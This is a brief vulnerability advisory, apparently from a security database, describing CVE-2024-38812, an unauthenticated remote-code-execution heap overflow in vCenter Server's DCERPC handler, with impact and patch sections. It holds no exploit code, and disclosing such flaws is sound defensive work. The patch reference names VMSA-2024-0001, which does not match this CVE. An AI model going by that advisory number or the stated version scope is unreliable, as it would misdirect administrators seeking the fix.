CVE-2024-38812
Overview
This vulnerability is a heap-based buffer overflow occurring within the implementation of the Distributed Computing Environment / Remote Procedure Calls (DCERPC) protocol in VMware vCenter Server. The root cause lies in improper handling of specially crafted network packets that exceed allocated heap memory boundaries. The affected component is the DCERPC protocol handler in vCenter Server versions 7.0 and VMware Cloud Foundation deployments, where unchecked input leads to memory corruption.
Vulnerability Description
The vCenter Server contains a heap-overflow vulnerability in the implementation of the DCERPC protocol. A malicious actor with network access to vCenter Server may trigger this vulnerability by sending a specially crafted network packet potentially leading to remote code execution.
Impact
An unauthenticated attacker with network access to the vCenter Server can exploit this vulnerability to execute arbitrary code remotely with the privileges of the vCenter Server process. This allows full compromise of the management infrastructure, including control over virtual machines and underlying host configurations. The vulnerability enables attackers to perform lateral movement, disrupt services, or exfiltrate sensitive data within the virtualized environment without requiring any user interaction or credentials.
Solution
VMware has released security updates addressing this vulnerability in VMware vCenter Server version 7.0 and VMware Cloud Foundation. Administrators should apply the patches detailed in VMware Security Advisory VMSA-2024-0001 available at https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24968. The advisory provides step-by-step patching instructions and recommends updating to the fixed versions to mitigate the issue.
